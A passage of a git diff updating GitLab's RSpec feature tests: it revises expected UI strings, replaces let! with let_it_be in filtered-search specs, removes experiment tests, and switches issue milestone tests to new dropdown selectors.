it_behaves_like 'correctly sorted packages list', 'Project' do
- let(:packages) { [maven_package, conan_package] }
+ let(:packages) { [maven_package, npm_package] }
end
it_behaves_like 'correctly sorted packages list', 'Project', ascending: true do
- let(:packages) { [conan_package, maven_package] }
+ let(:packages) { [npm_package, maven_package] }
end
end
end
diff --git a/spec/features/groups/settings/repository_spec.rb b/spec/features/groups/settings/repository_spec.rb
index 3c1609a2605..7082b2b20bd 100644
--- a/spec/features/groups/settings/repository_spec.rb
+++ b/spec/features/groups/settings/repository_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe 'Group Repository settings' do
it 'renders the correct setting section content' do
within("#js-default-branch-name") do
expect(page).to have_content("Default initial branch name")
- expect(page).to have_content("Set the default name of the initial branch when creating new repositories through the user interface.")
+ expect(page).to have_content("The default name for the initial branch of new repositories created in the group.")
end
end
end
diff --git a/spec/features/groups/settings/user_searches_in_settings_spec.rb b/spec/features/groups/settings/user_searches_in_settings_spec.rb
index a01514714dd..c258dd41b03 100644
--- a/spec/features/groups/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/groups/settings/user_searches_in_settings_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe 'User searches group settings', :js do
visit group_settings_integrations_path(group)
end
- it_behaves_like 'can highlight results', 'Project integration management'
+ it_behaves_like 'can highlight results', 'Group-level integration management'
end
context 'in Repository page' do
@@ -48,6 +48,6 @@ RSpec.describe 'User searches group settings', :js do
visit group_settings_packages_and_registries_path(group)
end
- it_behaves_like 'can highlight results', 'GitLab Packages'
+ it_behaves_like 'can highlight results', 'Use GitLab as a private registry'
end
end
diff --git a/spec/features/groups/show_spec.rb b/spec/features/groups/show_spec.rb
index 4bcba4c21ed..79226facad4 100644
--- a/spec/features/groups/show_spec.rb
+++ b/spec/features/groups/show_spec.rb
@@ -208,13 +208,13 @@ RSpec.describe 'Group show page' do
expect(page).to have_selector('.content[itemscope][itemtype="https://schema.org/Organization"]')
page.within('.group-home-panel') do
- expect(page).to have_selector('img.avatar[itemprop="logo"]')
+ expect(page).to have_selector('[itemprop="logo"]')
expect(page).to have_selector('[itemprop="name"]', text: group.name)
expect(page).to have_selector('[itemprop="description"]', text: group.description)
end
page.within('[itemprop="owns"][itemtype="https://schema.org/SoftwareSourceCode"]') do
- expect(page).to have_selector('img.avatar[itemprop="image"]')
+ expect(page).to have_selector('[itemprop="image"]')
expect(page).to have_selector('[itemprop="name"]', text: project.name)
expect(page).to have_selector('[itemprop="description"]', text: project.description)
end
@@ -224,12 +224,12 @@ RSpec.describe 'Group show page' do
el.click
wait_for_all_requests
page.within(el) do
- expect(page).to have_selector('img.avatar[itemprop="logo"]')
+ expect(page).to have_selector('[itemprop="logo"]')
expect(page).to have_selector('[itemprop="name"]', text: subgroup.name)
expect(page).to have_selector('[itemprop="description"]', text: subgroup.description)
page.within('[itemprop="owns"][itemtype="https://schema.org/SoftwareSourceCode"]') do
- expect(page).to have_selector('img.avatar[itemprop="image"]')
+ expect(page).to have_selector('[itemprop="image"]')
expect(page).to have_selector('[itemprop="name"]', text: subproject.name)
expect(page).to have_selector('[itemprop="description"]', text: subproject.description)
end
diff --git a/spec/features/groups/user_browse_projects_group_page_spec.rb b/spec/features/groups/user_browse_projects_group_page_spec.rb
index 999449a94b0..73fde7cafe5 100644
--- a/spec/features/groups/user_browse_projects_group_page_spec.rb
+++ b/spec/features/groups/user_browse_projects_group_page_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'User browse group projects page' do
visit projects_group_path(group)
expect(page).to have_link project.name
- expect(page).to have_xpath("//span[@class='badge badge-warning']", text: 'archived')
+ expect(page).to have_css('span.badge.badge-warning', text: 'archived')
end
end
end
diff --git a/spec/features/groups_spec.rb b/spec/features/groups_spec.rb
index 5f8079f0436..efde570512f 100644
--- a/spec/features/groups_spec.rb
+++ b/spec/features/groups_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe 'Group' do
fill_in 'group_path', with: user.username
wait_for_requests
- expect(page).to have_content('Group path is already taken')
+ expect(page).to have_content("Group path is already taken. We've suggested one that is available.")
end
it 'does not break after an invalid form submit' do
@@ -257,7 +257,7 @@ RSpec.describe 'Group' do
fill_in 'Group URL', with: subgroup.path
wait_for_requests
- expect(page).to have_content('Group path is already taken')
+ expect(page).to have_content("Group path is already taken. We've suggested one that is available.")
end
end
end
@@ -447,35 +447,6 @@ RSpec.describe 'Group' do
end
end
- describe 'new_repo experiment' do
- let_it_be(:group) { create_default(:group) }
-
- it 'when in candidate renders "project/repository"' do
- stub_experiments(new_repo: :candidate)
-
- visit group_path(group)
-
- find('li.header-new.dropdown').click
-
- page.within('li.header-new.dropdown') do
- expect(page).to have_selector('a', text: 'New project/repository')
- end
- end
-
- it 'when in control renders "project/repository"' do
- stub_experiments(new_repo: :control)
-
- visit group_path(group)
-
- find('li.header-new.dropdown').click
-
- page.within('li.header-new.dropdown') do
- expect(page).to have_selector('a', text: 'New project')
- expect(page).to have_no_selector('a', text: 'New project/repository')
- end
- end
- end
-
def remove_with_confirm(button_text, confirm_with)
click_button button_text
fill_in 'confirm_name_input', with: confirm_with
diff --git a/spec/features/help_pages_spec.rb b/spec/features/help_pages_spec.rb
index 90647305281..66ba4dc987c 100644
--- a/spec/features/help_pages_spec.rb
+++ b/spec/features/help_pages_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe 'Help Pages' do
end
it 'uses a custom support url' do
- expect(page).to have_link "See our website for getting help", href: "http://example.com/help"
+ expect(page).to have_link "See our website for help", href: "http://example.com/help"
end
end
end
diff --git a/spec/features/invites_spec.rb b/spec/features/invites_spec.rb
index a72cf033d61..93602033d73 100644
--- a/spec/features/invites_spec.rb
+++ b/spec/features/invites_spec.rb
@@ -272,54 +272,15 @@ RSpec.describe 'Group or Project invitations', :aggregate_failures do
end
end
- context 'with invite_signup_page_interaction experiment on', :experiment do
- context 'with control experience' do
- before do
- stub_experiments(invite_signup_page_interaction: :control)
- end
-
- it 'lands on invite sign up page and tracks the accepted invite' do
- expect(experiment(:invite_signup_page_interaction)).to track(:view)
- .with_context(actor: group_invite)
- .on_next_instance
-
- visit invite_path(group_invite.raw_invite_token)
-
- expect(current_path).to eq(new_user_registration_path)
-
- expect(experiment(:invite_signup_page_interaction)).to track(:form_submission)
- .with_context(actor: group_invite)
- .on_next_instance
-
- fill_in_sign_up_form(new_user, 'Register')
-
- expect(current_path).to eq(users_sign_up_welcome_path)
- end
- end
-
- context 'with candidate experience on .com' do
- before do
- allow(Gitlab).to receive(:dev_env_or_com?).and_return(true)
- stub_experiments(invite_signup_page_interaction: :candidate)
- end
+ context 'when accepting an invite without an account' do
+ it 'lands on sign up page and then registers' do
+ visit invite_path(group_invite.raw_invite_token)
- it 'lands on invite sign up page and tracks the accepted invite' do
- expect(experiment(:invite_signup_page_interaction)).to track(:view)
- .with_context(actor: group_invite)
- .on_next_instance
+ expect(current_path).to eq(new_user_registration_path)
- visit invite_path(group_invite.raw_invite_token)
-
- expect(current_path).to eq(new_users_sign_up_invite_path)
-
- expect(experiment(:invite_signup_page_interaction)).to track(:form_submission)
- .with_context(actor: group_invite)
- .on_next_instance
+ fill_in_sign_up_form(new_user, 'Register')
- fill_in_sign_up_form(new_user, 'Continue')
-
- expect(current_path).to eq(users_sign_up_welcome_path)
- end
+ expect(current_path).to eq(users_sign_up_welcome_path)
end
end
diff --git a/spec/features/issuables/markdown_references/jira_spec.rb b/spec/features/issuables/markdown_references/jira_spec.rb
index a3a259e21a1..ae9c8d31c02 100644
--- a/spec/features/issuables/markdown_references/jira_spec.rb
+++ b/spec/features/issuables/markdown_references/jira_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe "Jira", :js do
context "when both external and internal issues trackers are enabled for the actual project" do
before do
- create(:jira_service, project: actual_project)
+ create(:jira_integration, project: actual_project)
end
include_examples "correct references" do
@@ -94,7 +94,7 @@ RSpec.describe "Jira", :js do
let(:actual_project) { create(:project, :public, :repository, :issues_disabled) }
before do
- create(:jira_service, project: actual_project)
+ create(:jira_integration, project: actual_project)
end
include_examples "correct references" do
@@ -125,7 +125,7 @@ RSpec.describe "Jira", :js do
context "when both external and internal issues trackers are enabled for the actual project" do
before do
- create(:jira_service, project: actual_project)
+ create(:jira_integration, project: actual_project)
end
include_examples "correct references" do
@@ -138,7 +138,7 @@ RSpec.describe "Jira", :js do
let(:actual_project) { create(:project, :public, :repository, :issues_disabled) }
before do
- create(:jira_service, project: actual_project)
+ create(:jira_integration, project: actual_project)
end
include_examples "correct references" do
diff --git a/spec/features/issues/filtered_search/dropdown_assignee_spec.rb b/spec/features/issues/filtered_search/dropdown_assignee_spec.rb
index 381633b0fc9..e873ebb21c4 100644
--- a/spec/features/issues/filtered_search/dropdown_assignee_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_assignee_spec.rb
@@ -5,15 +5,16 @@ require 'spec_helper'
RSpec.describe 'Dropdown assignee', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project) }
- let!(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:issue) { create(:issue, project: project) }
+
let(:js_dropdown_assignee) { '#js-dropdown-assignee' }
let(:filter_dropdown) { find("#{js_dropdown_assignee} .filter-dropdown") }
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
diff --git a/spec/features/issues/filtered_search/dropdown_author_spec.rb b/spec/features/issues/filtered_search/dropdown_author_spec.rb
index 91c85825a17..893ffc6575b 100644
--- a/spec/features/issues/filtered_search/dropdown_author_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_author_spec.rb
@@ -5,15 +5,16 @@ require 'spec_helper'
RSpec.describe 'Dropdown author', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project) }
- let!(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:issue) { create(:issue, project: project) }
+
let(:js_dropdown_author) { '#js-dropdown-author' }
let(:filter_dropdown) { find("#{js_dropdown_author} .filter-dropdown") }
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
diff --git a/spec/features/issues/filtered_search/dropdown_base_spec.rb b/spec/features/issues/filtered_search/dropdown_base_spec.rb
index d730525cb8b..3a304515cab 100644
--- a/spec/features/issues/filtered_search/dropdown_base_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_base_spec.rb
@@ -5,8 +5,10 @@ require 'spec_helper'
RSpec.describe 'Dropdown base', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project) }
- let!(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:issue) { create(:issue, project: project) }
+
let(:filtered_search) { find('.filtered-search') }
let(:js_dropdown_assignee) { '#js-dropdown-assignee' }
let(:filter_dropdown) { find("#{js_dropdown_assignee} .filter-dropdown") }
@@ -18,7 +20,6 @@ RSpec.describe 'Dropdown base', :js do
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
diff --git a/spec/features/issues/filtered_search/dropdown_emoji_spec.rb b/spec/features/issues/filtered_search/dropdown_emoji_spec.rb
index c2c933f8a86..f5ab53d5052 100644
--- a/spec/features/issues/filtered_search/dropdown_emoji_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_emoji_spec.rb
@@ -5,10 +5,11 @@ require 'spec_helper'
RSpec.describe 'Dropdown emoji', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project, :public) }
- let!(:user) { create(:user, name: 'administrator', username: 'root') }
- let!(:issue) { create(:issue, project: project) }
- let!(:award_emoji_star) { create(:award_emoji, name: 'star', user: user, awardable: issue) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:award_emoji_star) { create(:award_emoji, name: 'star', user: user, awardable: issue) }
+
let(:filtered_search) { find('.filtered-search') }
let(:js_dropdown_emoji) { '#js-dropdown-my-reaction' }
let(:filter_dropdown) { find("#{js_dropdown_emoji} .filter-dropdown") }
diff --git a/spec/features/issues/filtered_search/dropdown_hint_spec.rb b/spec/features/issues/filtered_search/dropdown_hint_spec.rb
index 9edc6e0b593..9cc58a33bb7 100644
--- a/spec/features/issues/filtered_search/dropdown_hint_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_hint_spec.rb
@@ -5,8 +5,10 @@ require 'spec_helper'
RSpec.describe 'Dropdown hint', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project, :public) }
- let!(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project) }
+
let(:filtered_search) { find('.filtered-search') }
let(:js_dropdown_hint) { '#js-dropdown-hint' }
let(:js_dropdown_operator) { '#js-dropdown-operator' }
@@ -21,8 +23,6 @@ RSpec.describe 'Dropdown hint', :js do
before do
project.add_maintainer(user)
- create(:issue, project: project)
- create(:merge_request, source_project: project, target_project: project)
end
context 'when user not logged in' do
diff --git a/spec/features/issues/filtered_search/dropdown_label_spec.rb b/spec/features/issues/filtered_search/dropdown_label_spec.rb
index c0d5fe0d860..1b48810f716 100644
--- a/spec/features/issues/filtered_search/dropdown_label_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_label_spec.rb
@@ -5,22 +5,23 @@ require 'spec_helper'
RSpec.describe 'Dropdown label', :js do
include FilteredSearchHelpers
- let(:project) { create(:project) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:label) { create(:label, project: project, title: 'bug-label') }
+
let(:filtered_search) { find('.filtered-search') }
let(:filter_dropdown) { find('#js-dropdown-label .filter-dropdown') }
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
describe 'behavior' do
it 'loads all the labels when opened' do
- create(:label, project: project, title: 'bug-label')
filtered_search.set('label:=')
expect_filtered_search_dropdown_results(filter_dropdown, 1)
diff --git a/spec/features/issues/filtered_search/dropdown_milestone_spec.rb b/spec/features/issues/filtered_search/dropdown_milestone_spec.rb
index 68afd973f1d..859d1e4a5e5 100644
--- a/spec/features/issues/filtered_search/dropdown_milestone_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_milestone_spec.rb
@@ -5,10 +5,11 @@ require 'spec_helper'
RSpec.describe 'Dropdown milestone', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project) }
- let!(:user) { create(:user) }
- let!(:milestone) { create(:milestone, title: 'v1.0', project: project) }
- let!(:uppercase_milestone) { create(:milestone, title: 'CAP_MILESTONE', project: project) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:milestone) { create(:milestone, title: 'v1.0', project: project) }
+ let_it_be(:uppercase_milestone) { create(:milestone, title: 'CAP_MILESTONE', project: project) }
+ let_it_be(:issue) { create(:issue, project: project) }
let(:filtered_search) { find('.filtered-search') }
let(:filter_dropdown) { find('#js-dropdown-milestone .filter-dropdown') }
@@ -16,7 +17,6 @@ RSpec.describe 'Dropdown milestone', :js do
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
diff --git a/spec/features/issues/filtered_search/dropdown_release_spec.rb b/spec/features/issues/filtered_search/dropdown_release_spec.rb
index daf686c2850..2210a26c251 100644
--- a/spec/features/issues/filtered_search/dropdown_release_spec.rb
+++ b/spec/features/issues/filtered_search/dropdown_release_spec.rb
@@ -5,10 +5,11 @@ require 'spec_helper'
RSpec.describe 'Dropdown release', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project, :repository) }
- let!(:user) { create(:user) }
- let!(:release) { create(:release, tag: 'v1.0', project: project) }
- let!(:crazy_release) { create(:release, tag: '☺!/"#%&\'{}+,-.<>;=@]_`{|}🚀', project: project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:release) { create(:release, tag: 'v1.0', project: project) }
+ let_it_be(:crazy_release) { create(:release, tag: '☺!/"#%&\'{}+,-.<>;=@]_`{|}🚀', project: project) }
+ let_it_be(:issue) { create(:issue, project: project) }
let(:filtered_search) { find('.filtered-search') }
let(:filter_dropdown) { find('#js-dropdown-release .filter-dropdown') }
@@ -16,7 +17,6 @@ RSpec.describe 'Dropdown release', :js do
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
diff --git a/spec/features/issues/filtered_search/recent_searches_spec.rb b/spec/features/issues/filtered_search/recent_searches_spec.rb
index 61c1e35f3c8..3ddcbf1bd01 100644
--- a/spec/features/issues/filtered_search/recent_searches_spec.rb
+++ b/spec/features/issues/filtered_search/recent_searches_spec.rb
@@ -6,14 +6,15 @@ RSpec.describe 'Recent searches', :js do
include FilteredSearchHelpers
include MobileHelpers
- let(:project_1) { create(:project, :public) }
- let(:project_2) { create(:project, :public) }
+ let_it_be(:project_1) { create(:project, :public) }
+ let_it_be(:project_2) { create(:project, :public) }
+ let_it_be(:issue_1) { create(:issue, project: project_1) }
+ let_it_be(:issue_2) { create(:issue, project: project_2) }
+
let(:project_1_local_storage_key) { "#{project_1.full_path}-issue-recent-searches" }
before do
Capybara.ignore_hidden_elements = false
- create(:issue, project: project_1)
- create(:issue, project: project_2)
# Visit any fast-loading page so we can clear local storage without a DOM exception
visit '/404'
diff --git a/spec/features/issues/filtered_search/search_bar_spec.rb b/spec/features/issues/filtered_search/search_bar_spec.rb
index 2a094281133..1efcc329e32 100644
--- a/spec/features/issues/filtered_search/search_bar_spec.rb
+++ b/spec/features/issues/filtered_search/search_bar_spec.rb
@@ -5,14 +5,15 @@ require 'spec_helper'
RSpec.describe 'Search bar', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project) }
- let!(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project) }
+
let(:filtered_search) { find('.filtered-search') }
before do
project.add_maintainer(user)
sign_in(user)
- create(:issue, project: project)
visit project_issues_path(project)
end
diff --git a/spec/features/issues/filtered_search/visual_tokens_spec.rb b/spec/features/issues/filtered_search/visual_tokens_spec.rb
index c585d7f6194..644d7cc4611 100644
--- a/spec/features/issues/filtered_search/visual_tokens_spec.rb
+++ b/spec/features/issues/filtered_search/visual_tokens_spec.rb
@@ -5,13 +5,14 @@ require 'spec_helper'
RSpec.describe 'Visual tokens', :js do
include FilteredSearchHelpers
- let!(:project) { create(:project) }
- let!(:user) { create(:user, name: 'administrator', username: 'root') }
- let!(:user_rock) { create(:user, name: 'The Rock', username: 'rock') }
- let!(:milestone_nine) { create(:milestone, title: '9.0', project: project) }
- let!(:milestone_ten) { create(:milestone, title: '10.0', project: project) }
- let!(:label) { create(:label, project: project, title: 'abc') }
- let!(:cc_label) { create(:label, project: project, title: 'Community Contribution') }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, name: 'administrator', username: 'root') }
+ let_it_be(:user_rock) { create(:user, name: 'The Rock', username: 'rock') }
+ let_it_be(:milestone_nine) { create(:milestone, title: '9.0', project: project) }
+ let_it_be(:milestone_ten) { create(:milestone, title: '10.0', project: project) }
+ let_it_be(:label) { create(:label, project: project, title: 'abc') }
+ let_it_be(:cc_label) { create(:label, project: project, title: 'Community Contribution') }
+ let_it_be(:issue) { create(:issue, project: project) }
let(:filtered_search) { find('.filtered-search') }
let(:filter_author_dropdown) { find("#js-dropdown-author .filter-dropdown") }
@@ -27,7 +28,6 @@ RSpec.describe 'Visual tokens', :js do
project.add_user(user, :maintainer)
project.add_user(user_rock, :maintainer)
sign_in(user)
- create(:issue, project: project)
set_cookie('sidebar_collapsed', 'true')
diff --git a/spec/features/issues/incident_issue_spec.rb b/spec/features/issues/incident_issue_spec.rb
index d004ee85dd8..3033a138551 100644
--- a/spec/features/issues/incident_issue_spec.rb
+++ b/spec/features/issues/incident_issue_spec.rb
@@ -3,20 +3,57 @@
require 'spec_helper'
RSpec.describe 'Incident Detail', :js do
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:payload) do
+ {
+ 'title' => 'Alert title',
+ 'start_time' => '2020-04-27T10:10:22.265949279Z',
+ 'custom' => {
+ 'alert' => {
+ 'fields' => %w[one two]
+ }
+ },
+ 'yet' => {
+ 'another' => 73
+ }
+ }
+ end
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:started_at) { Time.now.rfc3339 }
+ let_it_be(:alert) { create(:alert_management_alert, project: project, payload: payload, started_at: started_at) }
+ let_it_be(:incident) { create(:incident, project: project, description: 'hello', alert_management_alert: alert) }
+
context 'when user displays the incident' do
- it 'shows the incident tabs' do
- project = create(:project, :public)
- incident = create(:incident, project: project, description: 'hello')
+ before do
+ project.add_developer(user)
+ sign_in(user)
visit project_issue_path(project, incident)
wait_for_requests
+ end
+ it 'shows incident and alert data' do
page.within('.issuable-details') do
incident_tabs = find('[data-testid="incident-tabs"]')
- expect(find('h2')).to have_content(incident.title)
- expect(incident_tabs).to have_content('Summary')
- expect(incident_tabs).to have_content(incident.description)
+ aggregate_failures 'shows title and Summary tab' do
+ expect(find('h2')).to have_content(incident.title)
+ expect(incident_tabs).to have_content('Summary')
+ expect(incident_tabs).to have_content(incident.description)
+ end
+
+ aggregate_failures 'shows the incident highlight bar' do
+ expect(incident_tabs).to have_content('Alert events: 1')
+ expect(incident_tabs).to have_content('Original alert: #1')
+ end
+
+ aggregate_failures 'shows the Alert details tab' do
+ click_link 'Alert details'
+
+ expect(incident_tabs).to have_content('"title": "Alert title"')
+ expect(incident_tabs).to have_content('"yet.another": 73')
+ end
end
end
end
diff --git a/spec/features/issues/issue_sidebar_spec.rb b/spec/features/issues/issue_sidebar_spec.rb
index d828b1c1f0c..0e2ef5cc6eb 100644
--- a/spec/features/issues/issue_sidebar_spec.rb
+++ b/spec/features/issues/issue_sidebar_spec.rb
@@ -259,37 +259,35 @@ RSpec.describe 'Issue Sidebar' do
end
context 'editing issue milestone', :js do
- let_it_be(:milestone_expired) { create(:milestone, project: project, due_date: 5.days.ago) }
+ let_it_be(:milestone_expired) { create(:milestone, project: project, title: 'Foo - expired', due_date: 5.days.ago) }
let_it_be(:milestone_no_duedate) { create(:milestone, project: project, title: 'Foo - No due date') }
let_it_be(:milestone1) { create(:milestone, project: project, title: 'Milestone-1', due_date: 20.days.from_now) }
let_it_be(:milestone2) { create(:milestone, project: project, title: 'Milestone-2', due_date: 15.days.from_now) }
let_it_be(:milestone3) { create(:milestone, project: project, title: 'Milestone-3', due_date: 10.days.from_now) }
before do
- page.within('[data-testid="milestone_title"]') do
- click_on 'Edit'
+ page.within('.block.milestone') do
+ click_button 'Edit'
end
+
+ wait_for_all_requests
end
- it 'shows milestons list in the dropdown' do
- page.within('.block.milestone .dropdown-content') do
+ it 'shows milestones list in the dropdown' do
+ page.within('.block.milestone') do
# 5 milestones + "No milestone" = 6 items
- expect(page.find('ul')).to have_selector('li[data-milestone-id]', count: 6)
+ expect(page.find('.gl-new-dropdown-contents')).to have_selector('li.gl-new-dropdown-item', count: 6)
end
end
- it 'shows expired milestone at the bottom of the list' do
- page.within('.block.milestone .dropdown-content ul') do
+ it 'shows expired milestone at the bottom of the list and milestone due earliest at the top of the list', :aggregate_failures do
+ page.within('.block.milestone .gl-new-dropdown-contents') do
expect(page.find('li:last-child')).to have_content milestone_expired.title
- end
- end
- it 'shows milestone due earliest at the top of the list' do
- page.within('.block.milestone .dropdown-content ul') do
- expect(page.all('li[data-milestone-id]')[1]).to have_content milestone3.title
- expect(page.all('li[data-milestone-id]')[2]).to have_content milestone2.title
- expect(page.all('li[data-milestone-id]')[3]).to have_content milestone1.title
- expect(page.all('li[data-milestone-id]')[4]).to have_content milestone_no_duedate.title
+ expect(page.all('li.gl-new-dropdown-item')[1]).to have_content milestone3.title
+ expect(page.all('li.gl-new-dropdown-item')[2]).to have_content milestone2.title
+ expect(page.all('li.gl-new-dropdown-item')[3]).to have_content milestone1.title
+ expect(page.all('li.gl-new-dropdown-item')[4]).to have_content milestone_no_duedate.title
end
end
end
diff --git a/spec/features/issues/user_bulk_edits_issues_spec.rb b/spec/features/issues/user_bulk_edits_issues_spec.rb
index e34c16e27ba..44c23813e3c 100644
--- a/spec/features/issues/user_bulk_edits_issues_spec.rb
+++ b/spec/features/issues/user_bulk_edits_issues_spec.rb
@@ -13,26 +13,26 @@ RSpec.describe 'Multiple issue updating from issues#index', :js do
end
context 'status' do
- it 'sets to closed' do
+ it 'sets to closed', :js do
visit project_issues_path(project)
click_button 'Edit issues'
check 'Select all'
click_button 'Select status'
- click_link 'Closed'
+ click_button 'Closed'
click_update_issues_button
expect(page).to have_selector('.issue', count: 0)
end
- it 'sets to open' do
+ it 'sets to open', :js do
create_closed
visit project_issues_path(project, state: 'closed')
click_button 'Edit issues'
check 'Select all'
click_button 'Select status'
- click_link 'Open'
+ click_button 'Open'
click_update_issues_button
expect(page).to have_selector('.issue', count: 0)
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index c59cc99467c..e4bba706453 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -333,37 +333,40 @@ RSpec.describe "Issues > User edits issue", :js do
describe 'update milestone' do
context 'by authorized user' do
- it 'allows user to select unassigned' do
+ it 'allows user to select no milestone' do
visit project_issue_path(project, issue)
+ wait_for_requests
- page.within('.milestone') do
- expect(page).to have_content "None"
- end
+ page.within('.block.milestone') do
+ expect(page).to have_content 'None'
+
+ click_button 'Edit'
+ wait_for_requests
+ click_button 'No milestone'
+ wait_for_requests
- find('.block.milestone .edit-link').click
- sleep 2 # wait for ajax stuff to complete
- first('.dropdown-content li').click
- sleep 2
- page.within('.milestone') do
expect(page).to have_content 'None'
end
end
it 'allows user to de-select milestone' do
visit project_issue_path(project, issue)
+ wait_for_requests
page.within('.milestone') do
- click_link 'Edit'
- click_link milestone.title
+ click_button 'Edit'
+ wait_for_requests
+ click_button milestone.title
- page.within '.value' do
+ page.within '[data-testid="select-milestone"]' do
expect(page).to have_content milestone.title
end
- click_link 'Edit'
- click_link milestone.title
+ click_button 'Edit'
+ wait_for_requests
+ click_button 'No milestone'
- page.within '.value' do
+ page.within '[data-testid="select-milestone"]' do
expect(page).to have_content 'None'
end
end
@@ -371,16 +374,17 @@ RSpec.describe "Issues > User edits issue", :js do
it 'allows user to search milestone' do
visit project_issue_path(project_with_milestones, issue_with_milestones)
+ wait_for_requests
page.within('.milestone') do
- click_link 'Edit'
+ click_button 'Edit'
wait_for_requests
# We need to enclose search string in quotes for exact match as all the milestone titles
# within tests are prefixed with `My title`.
- find('.dropdown-input-field', visible: true).send_keys "\"#{milestones[0].title}\""
+ find('.gl-form-input', visible: true).send_keys "\"#{milestones[0].title}\""
wait_for_requests
- page.within '.dropdown-content' do
+ page.within '.gl-new-dropdown-contents' do
expect(page).to have_content milestones[0].title
end
end
diff --git a/spec/features/issues/user_interacts_with_awards_spec.rb b/spec/features/issues/user_interacts_with_awards_spec.rb
index 2921eea7641..2e52a8d862e 100644
--- a/spec/features/issues/user_interacts_with_awards_spec.rb
+++ b/spec/features/issues/user_interacts_with_awards_spec.rb
@@ -63,7 +63,7 @@ RSpec.describe 'User interacts with awards' do
page.within('.awards') do
expect(page).to have_selector('[data-testid="award-button"]')
expect(page.find('[data-testid="award-button"].selected .js-counter')).to have_content('1')
- expect(page).to have_css('[data-testid="award-button"].selected[title="You"]')
+ expect(page).to have_css('[data-testid="award-button"].selected[title="You reacted with :8ball:"]')
expect do
page.find('[data-testid="award-button"].selected').click
diff --git a/spec/features/issues/user_sees_breadcrumb_links_spec.rb b/spec/features/issues/user_sees_breadcrumb_links_spec.rb
index f5793758a9b..9f8cd2a769d 100644
--- a/spec/features/issues/user_sees_breadcrumb_links_spec.rb
+++ b/spec/features/issues/user_sees_breadcrumb_links_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'New issue breadcrumb' do
let_it_be(:project, reload: true) { create(:project) }
+
let(:user) { project.creator }
before do
diff --git a/spec/features/issues/user_sorts_issues_spec.rb b/spec/features/issues/user_sorts_issues_spec.rb
index c161e1deb83..48297e9049e 100644
--- a/spec/features/issues/user_sorts_issues_spec.rb
+++ b/spec/features/issues/user_sorts_issues_spec.rb
@@ -22,11 +22,11 @@ RSpec.describe "User sorts issues" do
create(:award_emoji, :upvote, awardable: issue2)
sign_in(user)
-
- visit(project_issues_path(project))
end
it 'keeps the sort option' do
+ visit(project_issues_path(project))
+
find('.filter-dropdown-container .dropdown').click
page.within('ul.dropdown-menu.dropdown-menu-right li') do
@@ -47,11 +47,10 @@ RSpec.describe "User sorts issues" do
end
it 'sorts by popularity', :js do
- find('.filter-dropdown-container .dropdown').click
+ visit(project_issues_path(project))
- page.within('ul.dropdown-menu.dropdown-menu-right li') do
- click_link("Popularity")
- end
+ click_button 'Created date'
+ click_on 'Popularity'
page.within(".issues-list") do
page.within("li.issue:nth-child(1)") do
@@ -129,7 +128,7 @@ RSpec.describe "User sorts issues" do
it 'filters by none' do
visit project_issues_path(project, due_date: Issue::NoDueDate.name)
- page.within '.issues-holder' do
+ page.within '.issues-list' do
expect(page).not_to have_content('foo')
expect(page).not_to have_content('bar')
expect(page).to have_content('baz')
